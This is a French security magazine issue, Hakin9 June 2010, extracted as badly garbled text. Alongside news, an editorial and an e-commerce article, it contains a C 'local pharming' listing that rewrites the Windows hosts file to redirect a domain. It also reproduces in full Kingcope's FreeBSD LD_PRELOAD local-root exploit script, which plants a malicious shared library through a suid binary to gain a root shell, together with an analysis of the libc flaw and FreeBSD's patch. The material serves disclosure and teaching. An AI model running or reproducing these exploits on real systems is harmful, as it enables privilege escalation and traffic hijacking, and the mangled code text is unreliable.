bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 2: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

3 HAKIN9 32010

Boutiques onlineEcirctre compeacutetitif sur le WEB et faire face agrave la concurrence

de plus en plus feacuteroce reacutelegravevent parfois drsquoun parcours du combattant Pour vous donner plus de chances drsquoexister sur Internet nous avons preacutepareacute un dossier speacutecial sur lrsquoE-commerce Gracircce agrave lui vous apprendrez agrave creacuteer votre boutique online Lrsquoarticle est plein de conseils pour eacuteviter les piegraveges lors de la creacuteation drsquoun E-commerce

Dans la rubrique Seacutecuriteacute Reacuteseaux gracircce agrave lrsquoarticle Chiffrement des mails de David Robin vous apprendrez agrave chiffrer et signer les mails et fichiers Vous verrez aussi comment le chiffrement et la signature fonctionnement dans un client de messagerie

La rubrique Pratique est consacreacutee agrave la seacutecuriteacute des produits et plates-formes Cisco Apregraves la lecture de lrsquoarticle Seacutecuriteacute CISCO vous connaicirctrez les meacutecanismes de deacutefense efficace agrave mettre en place afin de seacutecuriser les plates-formes Cisco contre les attques Lrsquoauteur de lrsquoarticle vous expliquera aussi lrsquoarchitecture des commutateurs Cisco

Deacuteouvrez lrsquoarticle Les attaques DNS de la section Attaque Lrsquoauteur de lrsquoarticle vous expliquera le principe des attaques possibles sur le protocole DNS et il vous donnera les moyens drsquoeacuteviter tout risque

Bonne lecture agrave tous

Lrsquoeacutequipe Hakin9

EacuteDITORIAL

Le mensuel hakin9 est publieacute par Software Press Sp z o o SK

Preacutesident de Software Press Sp z o o SK Paweł Marciniak Directrice de la publication Ewa LozowickaReacutedactrice en chef Aneta Mazuranetamazurhakin9orgFabrication Andrzej Kucaandrzejkucasoftwarecompl

DTP Przemysław BanasiewiczCouverture Agnieszka Marchocka

Publiciteacute publicitesoftwarecompl(c) 2009 Software Press Sp z o o SK tous les droits reacuteserveacutes

Beacuteta-testeurs Didier Sicchia Pierre Louvet Anthony Marchetti Reacutegis Senet Paul Amar Julien Smyczynski Gregory Vernon Latorre Christophe Timoteacutee Neullas

Les personnes inteacuteresseacutees par la coopeacuteration sont inviteacutees agrave nous contacter frhakin9org

Adresse de correspondance Software Press Sp z o o SKBokserska 1 02-682 Varsovie PologneTeacutel +48 22 427 32 87 Fax +48 22 244 24 59wwwhakin9org

AVERTISSEMENTLes techniques preacutesenteacutees dans les articles ne peuvent ecirctre utiliseacutees qursquoau sein des reacuteseaux internes

La reacutedaction du magazine nrsquoest pas responsable de lrsquoutilisation incorrecte des techniques preacutesenteacutees

Lrsquoutilisation des techniques preacutesenteacutees peut provoquer la perte des donneacutees

TABLE DES MATIERES

Actualiteacutes 6Rubrique tenue par Paul Amar

DOSSIER Boutiques online 8Store FactoryLe nombre de boutiques en ligne augmente chaque jour La boutique en ligne est un moyen simple de deacute-marrer une activiteacute eacutegalement rapide et tendance Ce-pendant toute la difficulteacute sera de la rentabiliser et de la maintenir sur la toile Cet article vous expliquera com-ment lancer sa premiegravere boutique online et comment eacuteviter les piegraveges

PRATIQUESeacutecuriteacute CISCO 12Alaeddine MesbahiCisco propose une varieacuteteacute tregraves importante de produ-its et plates-formes Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-for-me en cible facile Cisco propose alors plusieurs meacute-canismes de durcissement Cet article expliquers les meacutecanismes les plus communs pour les seacutecuriser les plates-formes Cisco

SeacuteCURITeacute ReacuteSEAUxFirewall sous Linux 20Nicolas HantevilleMaintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutemati-ques de seacutecuriteacute se font grandissantes Apregraves lrsquoimpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se po-se plus Nous allons voir ensemble le fonctionnement drsquoiptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur laseacutecurisation drsquoune machine connecteacutee agrave Internet

Chiffrement des mails 28Robin DavidCet article preacutesente le fonctionnement du chiffrement et de la signature des mails On srsquointeacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lrsquoutilisation des deux grandes technologies du do-maine PGP et SMIME

62010

62010

ATTAQUELes attaques DNS 40David RobinCet article permettra de srsquointeacuteresser aux diffeacuterentes at-taques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spo-ofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au ldquoDNS Pharmingrdquo qui est un deacuteriveacute du Phishing

FOCUSExploit ndash Local root FreeBsD via LD_PRELoAD 46Paul RascagnegraveresFreeBSD est souvent preacutesenteacute comme un OS agrave la seacute-curiteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosu-re par Kingcope Dans cet article nous allons eacutetudier le fonctionnement de cet exploit le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD tout en commenccedilant par comprendre a quoi sert LD_PRELOAD

ltltNUMER_WYDANIAgtgt

ACTUALITEacuteS

Google et la confidentialiteacute Apregraves la poleacutemique autour de Google et des informa-tions reacutecupeacutereacutees agrave la laquo voleacutee raquo la CNIL a lanceacute une eacutetude portant sur la mise en danger des donneacutees des usagers

Lrsquoideacutee de base de Google eacutetait drsquoenregistrer lrsquoidentiteacute et la position des hotspots Wi-Fi

Lrsquoanalyse a deacutemontreacute que le logiciel utiliseacute enregi-strait bien plus que des fragments il enregistrait des paquets entiers desquels pouvaient ecirctre extraites des donneacutees sensibles telles que les adresses mails mots de passe etc

Drsquoautres Eacutetats comme lrsquoEspagne ou lrsquoAllemagne ont aussi demandeacute agrave Google agrave acceacuteder aux donneacutees cap-tureacutees par cette entreprise mais crsquoest la CNIL qui a eacuteteacute la premiegravere agrave voir sa requecircte accepteacutee

Apple et les vulneacuterabiliteacutes Le lundi 21 juin aura eacuteteacute une journeacutee laquo noire raquo pour Ap-ple eacutetant donneacute que son upgrade agrave iOS 4 a permis de patcher 65 vulneacuterabiliteacutes La moitieacute drsquoentre elles eacutetaient critiques drsquoapregraves les speacutecialistes

Certains doutent que le nouvel iPad pourrait ecirctre vul-neacuterable agrave une ou plusieurs des failles patcheacutees sur les iPhonesiPod Touch

De plus les utilisateurs drsquoiPad nrsquoauront pas de patchs avant cet automne permettant de couvrir certaines vul-neacuterabiliteacutes Un tregraves gros vecteur drsquoattaques risque donc drsquoecirctre ouvert aux pirates

Ce nombre de vulneacuterabiliteacutes est donc un nouveau re-cord compareacute aux patchs des 46 failles de lrsquoeacuteteacute der-nier

IOS 4 comportait 35 bugs soit plus de la moitieacute des vulneacuterabiliteacutes trouveacutees et qui eacutetaient de type laquo arbitra-ry code execution raquo donc critiques

La prudence est au rendez-vous pour tous les utilisa-teurs de produits Apple tels que lrsquoiPad

Le fait drsquoecirctre signeacute est-ce suffisant Une eacutetude de Jarno Niemela a montreacute que les auteurs de malwares utilisent la technologie drsquoAuthenticode pour les faire passer pour de bons logiciels

Cette derniegravere est utiliseacutee pour signer du code assu-rer son authenticiteacute et son inteacutegriteacute

De nombreux anti-virus srsquoappuient sur ce systegraveme qui malheureusement apregraves certaines deacutecouvertes nrsquoest pas si sucircr

De nombreuses techniques permettent laquo drsquoabuser raquo de la confiance des Authenticode telles que

ecirctre certifieacute mais ne pas avoir des bonnes inten-tions voler des certificats infecter des systegravemes de deacuteveloppeurs et ecirctre signeacute dans les releases (infec-tion de masse) falsification du MD5 (deux binaires ayant le mecircme checksum mais pas les mecircmes acti-viteacutes) etc

Turquie une attaque drsquoenvergureUne vague de censure en Turquie est arriveacutee il y a que-lques temps bloquant de nombreux services de Go-ogle tels que Google Traduction Google Documents ou encore Google Livres Il srsquoagit lagrave drsquoune conseacutequence de la volonteacute des Fournisseurs drsquoaccegraves internet Turqu-es de bloquer certaines adresses IP affilieacutees agrave Youtu-be

De nombreuses autres adresses IP relatives agrave Youtu-be et aux services de Google ont eacuteteacute blacklisteacutees Pro-gressivement de nombreux internautes se sont pla-ints que de nombreux services tels que Picasa Google Maps ne fonctionnaient plus

Degraves lors une attaque DdoS drsquoenvergure a eacuteteacute lanceacutee contre le ministegravere du transport lrsquoAutoriteacute des techno-logies de lrsquoinformation et des communications et contre la preacutesidence des teacuteleacutecommunications

Ces trois sites web ont eacuteteacute inaccessibles une bonne partie de la journeacutee agrave cause drsquoun groupe drsquohacktivistes meacutecontents de cette censure Drsquoapregraves de nombreuses sources lrsquoattaque aurait dureacute 10 heures

Et si un VPN ne nous permettait plus drsquoecirctre anonyme Au cours de la premiegravere laquo Telecomix Cyphernetics As-sembly raquo qui a eu lieu en Suegravede une vulneacuterabiliteacute au sein des VPNs a eacuteteacute preacutesenteacutee Le fait de combiner Ipv6 (qui remplace progressivement Ipv4) ainsi que PPTP (point-to-point tunneling protocol) permettent de retrou-ver des informations comme par exemple lrsquoadresse IP lrsquoadresse MAC ou encore le nom de lrsquoordinateur drsquoun utilisateur en particulier

Cette information est donc des plus critiques puis-que lrsquoune des utilisations des VPN consiste agrave favori-ser lrsquoanonymat et ainsi assurer la confidentialiteacute de ses donneacutees personnelles

De nombreuses alternatives ont eacuteteacute deacutecrites comme par exemple le fait de repasser agrave IPv4 ou de favoriser lrsquoutilisation drsquoOpenVPN plutocirct que PPTP

Fuite de donneacutees pour les utilisateurs de lrsquoiPad Il y a quelques semaines une nouvelle faisait rage de nombreuses informations confidentielles concernant des utilisateurs drsquoiPad ont eacuteteacute reacutecupeacutereacutees par un grou-pe deacutenommeacute laquo Goatse Security raquo

Crsquoest environ 114 000 adresses qui ont eacuteteacute reacutecupeacute-reacutees avec entre autres de grosses pointures telles que le CEO du New York Times Dow Jones Times inc hellip

Le problegraveme se situait sur le site de ATampT qui a per-mis via le changement drsquoun certain paramegravetre de reacute-cupeacuterer toutes ces informations Degraves lors il aurait eacuteteacute possible de lancer des vagues de spams agrave lrsquoencontre de ces personnes ou encore essayer drsquoinfecter leurs

ltltSTRONA_PISMAgtgt

ACTUALITEacuteS

propres infrastructures Ce dernier point nrsquoest en aucun cas agrave neacutegliger car nous sommes dans la peacuteriode ougrave lrsquoespionnage industriel est drsquoactualiteacute

Absolute Manage une vraie catastropheIl y a quelques temps un scandale avait eacuteclateacute avec un logiciel drsquoadministration agrave distance sur les ordinateurs drsquoeacutelegraveves en Pennsylvanie lequel permettait de prendre des photos drsquoeacutetudiants agrave leur insu bien que cela nrsquoaurait jamais ducirc ecirctre reacutealiseacute

Des compagnies de seacutecuriteacute ont ainsi analyseacute le logiciel et ont deacutemontreacute qursquoil y avait de nombreux problegravemes de seacutecuriteacute comme deacutechiffrement des communications gracircce agrave une cleacute hardcodeacutee dans le programme et semblable pour tous les clients con-tournement de lrsquoauthentification de lrsquoenvoi de messa-ges

Ouverture de Norton DNS au publicNorton DNS est comme son nom lrsquoindique un servi-ce de DNS public permettant de seacutecuriser tout appareil connecteacute sur la toile

Il comporte une blacklist avec tous les sites ayant une activiteacute plus ou moins accrue avec les malwares phis-

hing permettant ainsi de preacutemunir lrsquousager contre un quelconque risque sur la toile

Degraves lors lorsqursquoun internaute essaie drsquoacceacuteder agrave un site malicieux ce dernier est redirigeacute vers un site drsquoavertissement de Norton en expliquant que le site est bloqueacute par Norton DNS

Je tiens agrave rappeler que son utilisation ne peut ecirctre uti-liseacutee que comme une laquo sur-couche raquo de protection et ne preacutemunise pas contre tous les risques preacutesents sur la toile

Le tabnabbing une nouvelle meacutethode de phishing en vogueCette technique a eacuteteacute expliqueacutee et reacutealiseacutee par Aza Raskin Le principe est de changer le contenu lorsque lrsquoutilisateur a le laquo dos tourneacute raquo ou encore quand il chan-ge drsquoonglet dans son navigateur

Dans la pratique lorsque la page qui a un aspect normal nrsquoest plus consulteacutee elle aura son laquo favicon raquo et son titre modifieacutes pour ressembler au site viseacute Degraves lors lrsquointernaute pensera alors qursquoil a laisseacute ouverte sa messagerie eacutelectronique ou son site de e-commerce ouvert

Il est donc pieacutegeacute et sera pris au jeu du pirate Lrsquoun des correctifs proposeacute par Aza Raskin est que le navigateur doit jouer un rocircle plus important que celui de fureteur basique il doit proteacuteger la confidentialiteacute des donneacutees utilisateur

Metasploitable une vraie reacuteussite pour chacun Tout le monde a tregraves certainement entendu parleacute de Me-tasploit qui est un framework utiliseacute par de nombreuses compagnies afin de reacutealiser des tests drsquointrusion sur des technologies cibleacutees La base de donneacutees drsquoexploits ou-tils en tout genre est colossale et est un outil agrave part entiegravere dans lrsquoaudit de seacutecuriteacute Metasploitable est donc une image Vmware qui nrsquoest autre qursquoune version drsquoUbuntu 804 comportant des services faillibles Le but du jeu est donc de monter lrsquoimage sur son ordinateur et ainsi de srsquoentrainer afin drsquoutiliser le framework Metasploitable

Crsquoest donc un bon entraicircnement pour comprendre le fonctionnement du framework mais aussi avoir une ideacutee de ce qursquoest le pentesting tout en ne nuisant pas aux infrastructures informatiques existantes

Nouvelle version drsquoHydraTout en restant dans les outils drsquoaudit en seacutecuriteacute il ne faut pas oublier la nouvelle version drsquoHydra

Hydra est un cracker de mots de passe supportant de nombreux protocoles tels que VNC POSTGRES IMAP hellip La liste des protocoles geacutereacutes par Hydra est surpre-nante Cet outil a eacuteteacute deacuteveloppeacute par une organisation du nom laquo The Hackerrsquos Choice raquo (THC) et est maintenant passeacute sous licence GPL v3

62010

Dossier

Avantages et inconveacutenients du e-commerceLe E-commerce comporte les mecircmes avantages qursquoin-ternet crsquoest-agrave-dire lrsquoaccegraves agrave un large public la rapi-diteacute drsquoexeacutecution lrsquoaccegraves 24h24 7j7hellip Mais en plus il permet de geacuteneacuterer une activiteacute et des revenus Fa-cile drsquoaccegraves avoir une boutique en ligne permet de deacute-velopper ses ventes avec un investissement maicirctriseacute et sans les droits drsquoentreacutee drsquoune boutique physique Lrsquoheacutebergement consideacutereacute comme le loyer est acces-sible agrave tous sans garantie demandeacutee De nombreu-ses options sont disponibles pour mettre en place son e-commerce payantes ou gratuites Des solutions de paiement en ligne permettent de geacuteneacuterer des ventes sans papier et agrave des coucircts minimes Bref le e-com-merce ressemble agrave une formidable opportuniteacute ouver-te agrave chacun

Cependant si la plus grande qualiteacute du e-commerce est son accessibiliteacute crsquoest aussi ce qui creacutee son plus grand deacutefaut Lrsquoabondance de boutiques en ligne fait drsquointernet le marcheacute le plus concurrentiel Alors que pour une boutique physique le choix de lrsquoemplacement est deacutecideacute une fois pour toutes sur la toile la place de la boutique change en permanence Personne nrsquoa de place assureacutee

Quelques remarques sur les bonnes questions agrave se poser pour le lancement drsquoune boutique en ligne

Avoir bien reacutefleacutechi agrave son offre commerciale une bou-tique en ligne est avant tout un commerce Mecircme si In-

ternet facilite le lancement drsquoune activiteacute il est important drsquoavoir un bon concept commercial et une offre produitservice attractive pour assurer la viabiliteacute du site Lrsquoob-jectif est de transformer en acheteur le visiteur sur votre site Au-delagrave du site en lui-mecircme ce sont les produitsservices les prix les offres qui feront la diffeacuterence

Rendre sa boutique unique parmi les milliers de bou-tiques en ligne lrsquointernaute doit reconnaicirctre votre bou-tique du premier coup drsquoœil Une boutique en ligne est toujours faite sur le mecircme principe de fiche produit liste produit menu Il est donc important de se diffeacuterencier par lrsquoaspect visuel Le graphisme de votre site montrera tout de suite au visiteur dans quelle ambiance etou ty-pe de magasin il se trouve comme pour une boutique physique Un internaute restera plus longtemps et sera plus curieux sur un site qursquoil appreacutecie graphiquement Il y reviendra aussi et il le retiendra Notons quelques freins graphiques sur une boutique comme lrsquoabondance de banniegraveres susceptible de surcharger la page drsquoac-cueil tout comme lexcegraves danimations En outre une page tunnel qui annonce le site avant drsquoy entrer vrai-ment fait parfois son effet agrave la premiegravere visite mais au bout de plusieurs aura tendance agrave lasser lrsquointernaute Toujours dans lrsquoambiance geacuteneacuterale du site la musique risque de freiner le visiteur (manque de discreacutetion re-dondance agrave chaque nouvelle page bouton STOP invi-siblehellip) Tous ces critegraveres deacutependent de votre projet et de lrsquoimage que vous souhaitez veacutehiculer Lrsquoidentiteacute vi-suelle est dans tous les cas un critegravere primordial pour se diffeacuterencier

Boutiques online

Le nombre de boutiques en ligne augmente chaque jour A travers cet article vous allez apprendre comment lancer sa boutique online

Cet article expliquebull avantages et inconveacutenients du E-commercebull comment lancer sa boutique onlinebull solutions e-commerce

Ce quil faut savoirbull Aucune connaissance nest requise

store Factory

Boutiques online

hakin9orgfr 9

deuxiegraveme temps il srsquoagit de suivre vos ventes les produits les plus et les moins vendus etchellip pour affi-ner votre offre Drsquoailleurs rester attentif au prix de la concurrence est essentiel pour rester dans la course sur internet

Les fonctionnaliteacutes le but premier dune boutique en ligne est de permettre aux internautes drsquoacheter vos produits Maintenant dans votre projet il faut deacute-finir tout ce que vous souhaitez proposer sur votre si-te Cela peut concerner lrsquooffre commerciale avec des fonctions de fideacutelisation de recommandation produit entre ami de produits associeacuteshellip Mais aussi des fonc-tionnaliteacutes plus techniques comme proposer une re-cherche avanceacutee de votre produit ou lrsquoaffichage du panier Il nrsquoy a pas de recettes magiques ni de fonc-tionnaliteacutes miracles pour geacuteneacuterer des ventes si ce nrsquoest de bien reacutefleacutechir agrave lrsquoadeacutequation entre votre offre produit et les fonctionnaliteacutes disponibles Par exemple une recherche avanceacutee sera pertinente pour un mar-chand drsquoampoules (en termes de tailles puissances formeshellip) mais pas forceacutement pour une eacutepicerie en ligne ougrave des cateacutegories bien faites seront suffisantes De mecircme qursquoune offre de fideacuteliteacute aura plus de sens sur une boutique de pueacutericulture que pour un concession-naire automobile

Lrsquoabandon du panier un des problegravemes du e-com-merce est la gestion de lrsquoabandon du panier Combien drsquointernautes simulent un achat sur une boutique en ligne mais ne procegravede pas au paiement Pour livrer les clients le commerccedilant a besoin drsquoun certain nom-bre drsquoinformations pour la facture et la livraison Plu-sieurs scheacutemas fonctionnent mais la tendance est de raccourcir les eacutetapes de validation de paiement Geacute-neacuteralement le processus de commande se deacuteroule en 5 eacutetapes validation du panier creacuteation drsquoun compte client entreacutee des informations personnelles entreacutee des informations de livraisons et paiement Ce pro-cessus se reacutepegravete agrave chaque boutique Lrsquointernaute veut que ce soit le plus simple possible De plus plus vite il atteindra la page de paiement moins il aura le loisir de penser agrave abandonner sa commande Agrave lexception de lrsquooptimisation de ce chemin de commande il exis-te des moyens drsquoidentification rapides tels OrangeID ou OpenID qui permettent via un identifiant geacuteneacuteral de remplir par deacutefaut les informations clients Ceci deacute-gage lrsquointernaute de la saisie reacutepeacutetitive de ces infor-mations et il accegravede plus 